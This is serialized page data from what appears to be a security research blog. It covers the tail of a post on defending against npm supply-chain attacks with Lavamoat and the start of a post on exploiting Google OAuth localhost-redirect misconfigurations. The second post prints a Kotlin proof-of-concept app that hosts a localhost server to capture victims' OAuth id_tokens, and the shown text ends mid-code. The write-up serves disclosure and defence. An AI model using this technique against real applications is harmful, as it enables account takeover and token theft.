Lavamoat with a generated policy for ",{"type":25,"tag":264,"props":112588,"children":112590},{"className":112589},[],[112591],{"type":30,"value":112592},"chalk 5.6.0",{"type":30,"value":112594}," (non-malicious version) it would look like this:",{"type":25,"tag":7764,"props":112596,"children":112598},{"code":112597,"language":47110,"meta":7,"className":47108,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[112599],{"type":25,"tag":264,"props":112600,"children":112601},{"__ignoreMap":7},[112602,112614,112625,112645,112661,112668],{"type":25,"tag":271,"props":112603,"children":112604},{"class":13593,"line":13594},[112605,112610],{"type":25,"tag":271,"props":112606,"children":112607},{"style":17388},[112608],{"type":30,"value":112609},"\"chalk\"",{"type":25,"tag":271,"props":112611,"children":112612},{"style":13625},[112613],{"type":30,"value":50134},{"type":25,"tag":271,"props":112615,"children":112616},{"class":13593,"line":11641},[112617,112621],{"type":25,"tag":271,"props":112618,"children":112619},{"style":13598},[112620],{"type":30,"value":50142},{"type":25,"tag":271,"props":112622,"children":112623},{"style":13625},[112624],{"type":30,"value":50134},{"type":25,"tag":271,"props":112626,"children":112627},{"class":13593,"line":14354},[112628,112633,112637,112641],{"type":25,"tag":271,"props":112629,"children":112630},{"style":13598},[112631],{"type":30,"value":112632},"        \"navigator.userAgent\"",{"type":25,"tag":271,"props":112634,"children":112635},{"style":13625},[112636],{"type":30,"value":28453},{"type":25,"tag":271,"props":112638,"children":112639},{"style":14289},[112640],{"type":30,"value":280},{"type":25,"tag":271,"props":112642,"children":112643},{"style":13625},[112644],{"type":30,"value":14351},{"type":25,"tag":271,"props":112646,"children":112647},{"class":13593,"line":14391},[112648,112653,112657],{"type":25,"tag":271,"props":112649,"children":112650},{"style":13598},[112651],{"type":30,"value":112652},"        \"navigator.userAgentData\"",{"type":25,"tag":271,"props":112654,"children":112655},{"style":13625},[112656],{"type":30,"value":28453},{"type":25,"tag":271,"props":112658,"children":112659},{"style":14289},[112660],{"type":30,"value":50303},{"type":25,"tag":271,"props":112662,"children":112663},{"class":13593,"line":14400},[112664],{"type":25,"tag":271,"props":112665,"children":112666},{"style":13625},[112667],{"type":30,"value":25789},{"type":25,"tag":271,"props":112669,"children":112670},{"class":13593,"line":16406},[112671],{"type":25,"tag":271,"props":112672,"children":112673},{"style":13625},[112674],{"type":30,"value":38491},{"type":25,"tag":26,"props":112676,"children":112677},{},[112678,112680,112686],{"type":30,"value":112679},"That means that the chalk dependency can only access these two global attributes from ",{"type":25,"tag":264,"props":112681,"children":112683},{"className":112682},[],[112684],{"type":30,"value":112685},"navigator",{"type":30,"value":1860},{"type":25,"tag":26,"props":112688,"children":112689},{},[112690,112692,112698],{"type":30,"value":112691},"When the compromised dApp would execute the malicious payload of ",{"type":25,"tag":264,"props":112693,"children":112695},{"className":112694},[],[112696],{"type":30,"value":112697},"chalk v5.6.1",{"type":30,"value":112699}," it would fail due to insufficient permissions:",{"type":25,"tag":26,"props":112701,"children":112702},{},[112703],{"type":25,"tag":698,"props":112704,"children":112706},{"alt":63694,"src":112705},"/posts/supply-chain-attcks/error.png",[],{"type":25,"tag":26,"props":112708,"children":112709},{},[112710,112712,112717],{"type":30,"value":112711},"This error shows that the malware failed since it cannot redefine ",{"type":25,"tag":264,"props":112713,"children":112715},{"className":112714},[],[112716],{"type":30,"value":47207},{"type":30,"value":38578},{"type":25,"tag":7764,"props":112719,"children":112721},{"code":112720},"TypeError#1: Cannot define property fetch, object is not extensible\n",[112722],{"type":25,"tag":264,"props":112723,"children":112724},{"__ignoreMap":7},[112725],{"type":30,"value":112720},{"type":25,"tag":96,"props":112727,"children":112729},{"id":112728},"lavamoat-in-practice",[112730],{"type":30,"value":112731},"Lavamoat In Practice",{"type":25,"tag":26,"props":112733,"children":112734},{},[112735,112737,112744],{"type":30,"value":112736},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":25,"tag":83,"props":112738,"children":112741},{"href":112739,"rel":112740},"https://osec.io/reports/lavamoat_audit_final.pdf",[9066],[112742],{"type":30,"value":112743},"see the audit report",{"type":30,"value":13677},{"type":25,"tag":26,"props":112746,"children":112747},{},[112748],{"type":30,"value":112749},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":25,"tag":96,"props":112751,"children":112752},{"id":88913},[112753],{"type":30,"value":88916},{"type":25,"tag":26,"props":112755,"children":112756},{},[112757],{"type":30,"value":112758},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":25,"tag":26,"props":112760,"children":112761},{},[112762,112764,112769],{"type":30,"value":112763},"Version pinning and ",{"type":25,"tag":264,"props":112765,"children":112767},{"className":112766},[],[112768],{"type":30,"value":112205},{"type":30,"value":112770}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":25,"tag":15963,"props":112772,"children":112773},{},[112774],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":112776},[112777,112780,112781,112790,112791],{"id":110393,"depth":11641,"text":110396,"children":112778},[112779],{"id":112028,"depth":14354,"text":112031},{"id":112039,"depth":11641,"text":112042},{"id":112055,"depth":11641,"text":112058,"children":112782},[112783,112785,112787,112789],{"id":112066,"depth":14354,"text":112784},"1. Version pinning in package.json",{"id":112196,"depth":14354,"text":112786},"2. Use npm ci",{"id":112233,"depth":14354,"text":112788},"3. Implement Lavamoat",{"id":112524,"depth":14354,"text":112527},{"id":112728,"depth":11641,"text":112731},{"id":88913,"depth":11641,"text":88916},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":112796,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":112797,"description":112798,"date":112799,"author":112800,"image":112801,"isFeatured":18,"onBlogPage":18,"tags":112803,"body":112806,"_type":16004,"_id":115137,"_source":16006,"_file":115138,"_stem":115139,"_extension":16009},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[44313,44312],{"src":112802,"width":16,"height":17},"/posts/oauth-misconfigurations/title.png",[112804,112805],"oAuth","exchanges",{"type":22,"children":112807,"toc":115124},[112808,112814,112819,112825,112845,112851,112856,112869,112874,112882,112896,112905,112914,112928,112936,112947,113007,113013,113025,113074,113080,113085,113098,113105,113116,113136,113155,113176,113182,113195,113200,113206,113225,113850,113855,113868,114729,114734,114739,114745,114750,114756,114761,114774,114814,114820,114833,114838,114871,114876,114881,114906,114911,114923,115080,115085,115089,115101,115106,115110,115115,115120],{"type":25,"tag":96,"props":112809,"children":112811},{"id":112810},"exploiting-oauth",[112812],{"type":30,"value":112813},"Exploiting OAuth",{"type":25,"tag":26,"props":112815,"children":112816},{},[112817],{"type":30,"value":112818},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":25,"tag":247,"props":112820,"children":112822},{"id":112821},"google-authentication-flows",[112823],{"type":30,"value":112824},"Google Authentication Flows",{"type":25,"tag":26,"props":112826,"children":112827},{},[112828,112830,112836,112838,112843],{"type":30,"value":112829},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":25,"tag":264,"props":112831,"children":112833},{"className":112832},[],[112834],{"type":30,"value":112835},"postMessage",{"type":30,"value":112837}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":25,"tag":264,"props":112839,"children":112841},{"className":112840},[],[112842],{"type":30,"value":82880},{"type":30,"value":112844}," to send the token back to the RP.",{"type":25,"tag":2352,"props":112846,"children":112848},{"id":112847},"gsi-new-flow",[112849],{"type":30,"value":112850},"GSI (New Flow)",{"type":25,"tag":26,"props":112852,"children":112853},{},[112854],{"type":30,"value":112855},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":25,"tag":108,"props":112857,"children":112858},{},[112859,112864],{"type":25,"tag":112,"props":112860,"children":112861},{},[112862],{"type":30,"value":112863},"Using FedCM API",{"type":25,"tag":112,"props":112865,"children":112866},{},[112867],{"type":30,"value":112868},"Without using FedCM API",{"type":25,"tag":26,"props":112870,"children":112871},{},[112872],{"type":30,"value":112873},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":25,"tag":26,"props":112875,"children":112876},{},[112877],{"type":25,"tag":38,"props":112878,"children":112879},{},[112880],{"type":30,"value":112881},"FedCM Method",{"type":25,"tag":26,"props":112883,"children":112884},{},[112885,112887,112894],{"type":30,"value":112886},"The FedCM method basically follows this ",{"type":25,"tag":83,"props":112888,"children":112891},{"href":112889,"rel":112890},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[9066],[112892],{"type":30,"value":112893},"user experience",{"type":30,"value":112895},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":25,"tag":26,"props":112897,"children":112898},{},[112899,112901],{"type":30,"value":112900},"The normal flow, clicking the \"sign in\" button:\n",{"type":25,"tag":698,"props":112902,"children":112904},{"alt":63694,"src":112903},"/posts/oauth-misconfigurations/image1.png",[],{"type":25,"tag":26,"props":112906,"children":112907},{},[112908,112910],{"type":30,"value":112909},"One-Tap popup shown when you open the page:\n",{"type":25,"tag":698,"props":112911,"children":112913},{"alt":63694,"src":112912},"/posts/oauth-misconfigurations/image2.png",[],{"type":25,"tag":26,"props":112915,"children":112916},{},[112917,112919,112926],{"type":30,"value":112918},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":25,"tag":83,"props":112920,"children":112923},{"href":112921,"rel":112922},"https://github.com/w3c-fedid/FedCM/issues/429",[9066],[112924],{"type":30,"value":112925},"FedCM auto-reauthentication",{"type":30,"value":112927},", which has certain preconditions that must be met.",{"type":25,"tag":26,"props":112929,"children":112930},{},[112931],{"type":25,"tag":38,"props":112932,"children":112933},{},[112934],{"type":30,"value":112935},"Non-FedCM Method",{"type":25,"tag":26,"props":112937,"children":112938},{},[112939,112941,112946],{"type":30,"value":112940},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":25,"tag":264,"props":112942,"children":112944},{"className":112943},[],[112945],{"type":30,"value":112835},{"type":30,"value":359},{"type":25,"tag":661,"props":112948,"children":112949},{},[112950,112955,112979,112984,112995],{"type":25,"tag":112,"props":112951,"children":112952},{},[112953],{"type":30,"value":112954},"The user clicks the sign in button",{"type":25,"tag":112,"props":112956,"children":112957},{},[112958,112960,112966,112968,112973,112974],{"type":30,"value":112959},"RP opens a popup/iframe to ",{"type":25,"tag":83,"props":112961,"children":112964},{"href":112962,"rel":112963},"https://accounts.google.com/o/oauth2/v2/auth",[9066],[112965],{"type":30,"value":112962},{"type":30,"value":112967}," with some important parameters like ",{"type":25,"tag":264,"props":112969,"children":112971},{"className":112970},[],[112972],{"type":30,"value":82712},{"type":30,"value":12218},{"type":25,"tag":264,"props":112975,"children":112977},{"className":112976},[],[112978],{"type":30,"value":53246},{"type":25,"tag":112,"props":112980,"children":112981},{},[112982],{"type":30,"value":112983},"The user clicks the \"Continue\" button to authorize authentication",{"type":25,"tag":112,"props":112985,"children":112986},{},[112987,112989],{"type":30,"value":112988},"They get redirected to ",{"type":25,"tag":83,"props":112990,"children":112993},{"href":112991,"rel":112992},"https://accounts.google.com/gsi/transform",[9066],[112994],{"type":30,"value":112991},{"type":25,"tag":112,"props":112996,"children":112997},{},[112998,113000,113005],{"type":30,"value":112999},"/gsi/transform sends the token back to the RP via ",{"type":25,"tag":264,"props":113001,"children":113003},{"className":113002},[],[113004],{"type":30,"value":112835},{"type":30,"value":113006}," (after some SYN/ACK messages)",{"type":25,"tag":2352,"props":113008,"children":113010},{"id":113009},"oauth-20-old-flow",[113011],{"type":30,"value":113012},"OAuth 2.0 Old Flow",{"type":25,"tag":26,"props":113014,"children":113015},{},[113016,113018,113023],{"type":30,"value":113017},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":25,"tag":264,"props":113019,"children":113021},{"className":113020},[],[113022],{"type":30,"value":82880},{"type":30,"value":113024}," provided in the URL and validated by a whitelist configuration:",{"type":25,"tag":661,"props":113026,"children":113027},{},[113028,113032,113053,113057],{"type":25,"tag":112,"props":113029,"children":113030},{},[113031],{"type":30,"value":112954},{"type":25,"tag":112,"props":113033,"children":113034},{},[113035,113036,113041,113042,113047,113048],{"type":30,"value":112959},{"type":25,"tag":83,"props":113037,"children":113039},{"href":112962,"rel":113038},[9066],[113040],{"type":30,"value":112962},{"type":30,"value":112967},{"type":25,"tag":264,"props":113043,"children":113045},{"className":113044},[],[113046],{"type":30,"value":82712},{"type":30,"value":12218},{"type":25,"tag":264,"props":113049,"children":113051},{"className":113050},[],[113052],{"type":30,"value":82880},{"type":25,"tag":112,"props":113054,"children":113055},{},[113056],{"type":30,"value":112983},{"type":25,"tag":112,"props":113058,"children":113059},{},[113060,113061,113066,113068],{"type":30,"value":112988},{"type":25,"tag":264,"props":113062,"children":113064},{"className":113063},[],[113065],{"type":30,"value":82880},{"type":30,"value":113067}," with the token in the query parameters or ",{"type":25,"tag":264,"props":113069,"children":113071},{"className":113070},[],[113072],{"type":30,"value":113073},"location.hash",{"type":25,"tag":2352,"props":113075,"children":113077},{"id":113076},"different-configurations",[113078],{"type":30,"value":113079},"Different Configurations",{"type":25,"tag":26,"props":113081,"children":113082},{},[113083],{"type":30,"value":113084},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":25,"tag":108,"props":113086,"children":113087},{},[113088,113093],{"type":25,"tag":112,"props":113089,"children":113090},{},[113091],{"type":30,"value":113092},"Authorized origins",{"type":25,"tag":112,"props":113094,"children":113095},{},[113096],{"type":30,"value":113097},"Authorized redirect URIs",{"type":25,"tag":26,"props":113099,"children":113100},{},[113101],{"type":25,"tag":698,"props":113102,"children":113104},{"alt":63694,"src":113103},"/posts/oauth-misconfigurations/image3.png",[],{"type":25,"tag":26,"props":113106,"children":113107},{},[113108,113110,113115],{"type":30,"value":113109},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":25,"tag":264,"props":113111,"children":113113},{"className":113112},[],[113114],{"type":30,"value":82712},{"type":30,"value":1860},{"type":25,"tag":26,"props":113117,"children":113118},{},[113119,113121,113127,113129,113134],{"type":30,"value":113120},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":25,"tag":264,"props":113122,"children":113124},{"className":113123},[],[113125],{"type":30,"value":113126},"/oauth2/v2/auth",{"type":30,"value":113128}," by checking the ",{"type":25,"tag":264,"props":113130,"children":113132},{"className":113131},[],[113133],{"type":30,"value":53246},{"type":30,"value":113135}," query parameter.",{"type":25,"tag":26,"props":113137,"children":113138},{},[113139,113141,113146,113148,113153],{"type":30,"value":113140},"In the old flow, the ",{"type":25,"tag":264,"props":113142,"children":113144},{"className":113143},[],[113145],{"type":30,"value":82880},{"type":30,"value":113147}," parameter passed in the ",{"type":25,"tag":264,"props":113149,"children":113151},{"className":113150},[],[113152],{"type":30,"value":113126},{"type":30,"value":113154}," endpoint is validated against the authorized redirect URIs.",{"type":25,"tag":26,"props":113156,"children":113157},{},[113158,113160,113165,113167,113174],{"type":30,"value":113159},"Note that the new GSI flow can also have a different flow using ",{"type":25,"tag":264,"props":113161,"children":113163},{"className":113162},[],[113164],{"type":30,"value":82880},{"type":30,"value":113166}," validation. To execute this flow, you need to specify ",{"type":25,"tag":83,"props":113168,"children":113171},{"href":113169,"rel":113170},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[9066],[113172],{"type":30,"value":113173},"login_uri",{"type":30,"value":113175}," while using the SDK.",{"type":25,"tag":247,"props":113177,"children":113179},{"id":113178},"localhost-exploit",[113180],{"type":30,"value":113181},"Localhost Exploit",{"type":25,"tag":26,"props":113183,"children":113184},{},[113185,113187,113193],{"type":30,"value":113186},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":25,"tag":264,"props":113188,"children":113190},{"className":113189},[],[113191],{"type":30,"value":113192},"localhost",{"type":30,"value":113194}," origin because it is considered trusted for local testing.",{"type":25,"tag":26,"props":113196,"children":113197},{},[113198],{"type":30,"value":113199},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":25,"tag":2352,"props":113201,"children":113203},{"id":113202},"exploit",[113204],{"type":30,"value":113205},"Exploit",{"type":25,"tag":26,"props":113207,"children":113208},{},[113209,113211,113216,113217,113223],{"type":30,"value":113210},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":25,"tag":264,"props":113212,"children":113214},{"className":113213},[],[113215],{"type":30,"value":113073},{"type":30,"value":26259},{"type":25,"tag":264,"props":113218,"children":113220},{"className":113219},[],[113221],{"type":30,"value":113222},"location.search",{"type":30,"value":113224},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":25,"tag":7764,"props":113226,"children":113230},{"className":113227,"code":113228,"language":113229,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[113231],{"type":25,"tag":264,"props":113232,"children":113233},{"__ignoreMap":7},[113234,113263,113282,113289,113296,113315,113326,113337,113368,113391,113438,113445,113452,113459,113466,113486,113517,113528,113535,113542,113561,113584,113595,113614,113629,113640,113663,113698,113717,113724,113735,113758,113769,113781,113788,113795,113802,113809,113816,113843],{"type":25,"tag":271,"props":113235,"children":113236},{"class":13593,"line":13594},[113237,113242,113246,113250,113254,113258],{"type":25,"tag":271,"props":113238,"children":113239},{"style":14289},[113240],{"type":30,"value":113241}," override",{"type":25,"tag":271,"props":113243,"children":113244},{"style":14289},[113245],{"type":30,"value":19335},{"type":25,"tag":271,"props":113247,"children":113248},{"style":13620},[113249],{"type":30,"value":83568},{"type":25,"tag":271,"props":113251,"children":113252},{"style":13625},[113253],{"type":30,"value":83573},{"type":25,"tag":271,"props":113255,"children":113256},{"style":13609},[113257],{"type":30,"value":83578},{"type":25,"tag":271,"props":113259,"children":113260},{"style":13625},[113261],{"type":30,"value":113262},"?){\n",{"type":25,"tag":271,"props":113264,"children":113265},{"class":13593,"line":11641},[113266,113270,113274,113278],{"type":25,"tag":271,"props":113267,"children":113268},{"style":14289},[113269],{"type":30,"value":83591},{"type":25,"tag":271,"props":113271,"children":113272},{"style":13625},[113273],{"type":30,"value":1860},{"type":25,"tag":271,"props":113275,"children":113276},{"style":13620},[113277],{"type":30,"value":83600},{"type":25,"tag":271,"props":113279,"children":113280},{"style":13625},[113281],{"type":30,"value":83605},{"type":25,"tag":271,"props":113283,"children":113284},{"class":13593,"line":14354},[113285],{"type":25,"tag":271,"props":113286,"children":113287},{"emptyLinePlaceholder":18},[113288],{"type":30,"value":16829},{"type":25,"tag":271,"props":113290,"children":113291},{"class":13593,"line":14391},[113292],{"type":25,"tag":271,"props":113293,"children":113294},{"style":14385},[113295],{"type":30,"value":83620},{"type":25,"tag":271,"props":113297,"children":113298},{"class":13593,"line":14400},[113299,113303,113307,113311],{"type":25,"tag":271,"props":113300,"children":113301},{"style":13620},[113302],{"type":30,"value":83628},{"type":25,"tag":271,"props":113304,"children":113305},{"style":13625},[113306],{"type":30,"value":83633},{"type":25,"tag":271,"props":113308,"children":113309},{"style":13620},[113310],{"type":30,"value":83638},{"type":25,"tag":271,"props":113312,"children":113313},{"style":13625},[113314],{"type":30,"value":16431},{"type":25,"tag":271,"props":113316,"children":113317},{"class":13593,"line":16406},[113318,113322],{"type":25,"tag":271,"props":113319,"children":113320},{"style":16171},[113321],{"type":30,"value":83650},{"type":25,"tag":271,"props":113323,"children":113324},{"style":13625},[113325],{"type":30,"value":16431},{"type":25,"tag":271,"props":113327,"children":113328},{"class":13593,"line":16434},[113329,113333],{"type":25,"tag":271,"props":113330,"children":113331},{"style":13620},[113332],{"type":30,"value":83662},{"type":25,"tag":271,"props":113334,"children":113335},{"style":13625},[113336],{"type":30,"value":20857},{"type":25,"tag":271,"props":113338,"children":113339},{"class":13593,"line":16447},[113340,113344,113348,113352,113356,113360,113364],{"type":25,"tag":271,"props":113341,"children":113342},{"style":13625},[113343],{"type":30,"value":83674},{"type":25,"tag":271,"props":113345,"children":113346},{"style":13620},[113347],{"type":30,"value":13482},{"type":25,"tag":271,"props":113349,"children":113350},{"style":13625},[113351],{"type":30,"value":394},{"type":25,"tag":271,"props":113353,"children":113354},{"style":17388},[113355],{"type":30,"value":83687},{"type":25,"tag":271,"props":113357,"children":113358},{"style":13625},[113359],{"type":30,"value":44},{"type":25,"tag":271,"props":113361,"children":113362},{"style":17388},[113363],{"type":30,"value":83696},{"type":25,"tag":271,"props":113365,"children":113366},{"style":13625},[113367],{"type":30,"value":16299},{"type":25,"tag":271,"props":113369,"children":113370},{"class":13593,"line":16465},[113371,113375,113379,113383,113387],{"type":25,"tag":271,"props":113372,"children":113373},{"style":13625},[113374],{"type":30,"value":83708},{"type":25,"tag":271,"props":113376,"children":113377},{"style":14289},[113378],{"type":30,"value":61527},{"type":25,"tag":271,"props":113380,"children":113381},{"style":13625},[113382],{"type":30,"value":83717},{"type":25,"tag":271,"props":113384,"children":113385},{"style":13609},[113386],{"type":30,"value":83722},{"type":25,"tag":271,"props":113388,"children":113389},{"style":13625},[113390],{"type":30,"value":27925},{"type":25,"tag":271,"props":113392,"children":113393},{"class":13593,"line":16486},[113394,113398,113402,113406,113410,113414,113418,113422,113426,113430,113434],{"type":25,"tag":271,"props":113395,"children":113396},{"style":13625},[113397],{"type":30,"value":83674},{"type":25,"tag":271,"props":113399,"children":113400},{"style":13620},[113401],{"type":30,"value":64570},{"type":25,"tag":271,"props":113403,"children":113404},{"style":13625},[113405],{"type":30,"value":394},{"type":25,"tag":271,"props":113407,"children":113408},{"style":17388},[113409],{"type":30,"value":83687},{"type":25,"tag":271,"props":113411,"children":113412},{"style":13625},[113413],{"type":30,"value":44},{"type":25,"tag":271,"props":113415,"children":113416},{"style":17388},[113417],{"type":30,"value":83754},{"type":25,"tag":271,"props":113419,"children":113420},{"style":14289},[113421],{"type":30,"value":47221},{"type":25,"tag":271,"props":113423,"children":113424},{"style":13603},[113425],{"type":30,"value":83763},{"type":25,"tag":271,"props":113427,"children":113428},{"style":14289},[113429],{"type":30,"value":978},{"type":25,"tag":271,"props":113431,"children":113432},{"style":17388},[113433],{"type":30,"value":6294},{"type":25,"tag":271,"props":113435,"children":113436},{"style":13625},[113437],{"type":30,"value":83776},{"type":25,"tag":271,"props":113439,"children":113440},{"class":13593,"line":16495},[113441],{"type":25,"tag":271,"props":113442,"children":113443},{"style":13625},[113444],{"type":30,"value":72000},{"type":25,"tag":271,"props":113446,"children":113447},{"class":13593,"line":16744},[113448],{"type":25,"tag":271,"props":113449,"children":113450},{"style":13625},[113451],{"type":30,"value":16492},{"type":25,"tag":271,"props":113453,"children":113454},{"class":13593,"line":16761},[113455],{"type":25,"tag":271,"props":113456,"children":113457},{"emptyLinePlaceholder":18},[113458],{"type":30,"value":16829},{"type":25,"tag":271,"props":113460,"children":113461},{"class":13593,"line":16778},[113462],{"type":25,"tag":271,"props":113463,"children":113464},{"style":14385},[113465],{"type":30,"value":83805},{"type":25,"tag":271,"props":113467,"children":113468},{"class":13593,"line":16791},[113469,113473,113477,113481],{"type":25,"tag":271,"props":113470,"children":113471},{"style":14289},[113472],{"type":30,"value":83813},{"type":25,"tag":271,"props":113474,"children":113475},{"style":13625},[113476],{"type":30,"value":83818},{"type":25,"tag":271,"props":113478,"children":113479},{"style":13603},[113480],{"type":30,"value":1065},{"type":25,"tag":271,"props":113482,"children":113483},{"style":17388},[113484],{"type":30,"value":113485}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":271,"props":113487,"children":113488},{"class":13593,"line":16800},[113489,113493,113497,113501,113505,113509,113513],{"type":25,"tag":271,"props":113490,"children":113491},{"style":14289},[113492],{"type":30,"value":83813},{"type":25,"tag":271,"props":113494,"children":113495},{"style":13625},[113496],{"type":30,"value":83839},{"type":25,"tag":271,"props":113498,"children":113499},{"style":13603},[113500],{"type":30,"value":1065},{"type":25,"tag":271,"props":113502,"children":113503},{"style":13620},[113504],{"type":30,"value":83848},{"type":25,"tag":271,"props":113506,"children":113507},{"style":13625},[113508],{"type":30,"value":83853},{"type":25,"tag":271,"props":113510,"children":113511},{"style":13620},[113512],{"type":30,"value":52322},{"type":25,"tag":271,"props":113514,"children":113515},{"style":13625},[113516],{"type":30,"value":83862},{"type":25,"tag":271,"props":113518,"children":113519},{"class":13593,"line":16823},[113520,113524],{"type":25,"tag":271,"props":113521,"children":113522},{"style":13620},[113523],{"type":30,"value":83870},{"type":25,"tag":271,"props":113525,"children":113526},{"style":13625},[113527],{"type":30,"value":83875},{"type":25,"tag":271,"props":113529,"children":113530},{"class":13593,"line":16832},[113531],{"type":25,"tag":271,"props":113532,"children":113533},{"style":13625},[113534],{"type":30,"value":16501},{"type":25,"tag":271,"props":113536,"children":113537},{"class":13593,"line":16841},[113538],{"type":25,"tag":271,"props":113539,"children":113540},{"emptyLinePlaceholder":18},[113541],{"type":30,"value":16829},{"type":25,"tag":271,"props":113543,"children":113544},{"class":13593,"line":16907},[113545,113549,113553,113557],{"type":25,"tag":271,"props":113546,"children":113547},{"style":14289},[113548],{"type":30,"value":83897},{"type":25,"tag":271,"props":113550,"children":113551},{"style":14289},[113552],{"type":30,"value":19335},{"type":25,"tag":271,"props":113554,"children":113555},{"style":13620},[113556],{"type":30,"value":83906},{"type":25,"tag":271,"props":113558,"children":113559},{"style":13625},[113560],{"type":30,"value":28858},{"type":25,"tag":271,"props":113562,"children":113563},{"class":13593,"line":16915},[113564,113568,113572,113576,113580],{"type":25,"tag":271,"props":113565,"children":113566},{"style":13620},[113567],{"type":30,"value":83918},{"type":25,"tag":271,"props":113569,"children":113570},{"style":13625},[113571],{"type":30,"value":83923},{"type":25,"tag":271,"props":113573,"children":113574},{"style":13603},[113575],{"type":30,"value":1065},{"type":25,"tag":271,"props":113577,"children":113578},{"style":16187},[113579],{"type":30,"value":83932},{"type":25,"tag":271,"props":113581,"children":113582},{"style":13625},[113583],{"type":30,"value":27925},{"type":25,"tag":271,"props":113585,"children":113586},{"class":13593,"line":16945},[113587,113591],{"type":25,"tag":271,"props":113588,"children":113589},{"style":13620},[113590],{"type":30,"value":83944},{"type":25,"tag":271,"props":113592,"children":113593},{"style":13625},[113594],{"type":30,"value":16431},{"type":25,"tag":271,"props":113596,"children":113597},{"class":13593,"line":16953},[113598,113602,113606,113610],{"type":25,"tag":271,"props":113599,"children":113600},{"style":14289},[113601],{"type":30,"value":83956},{"type":25,"tag":271,"props":113603,"children":113604},{"style":13625},[113605],{"type":30,"value":394},{"type":25,"tag":271,"props":113607,"children":113608},{"style":17388},[113609],{"type":30,"value":83965},{"type":25,"tag":271,"props":113611,"children":113612},{"style":13625},[113613],{"type":30,"value":27925},{"type":25,"tag":271,"props":113615,"children":113616},{"class":13593,"line":16984},[113617,113621,113625],{"type":25,"tag":271,"props":113618,"children":113619},{"style":13625},[113620],{"type":30,"value":83977},{"type":25,"tag":271,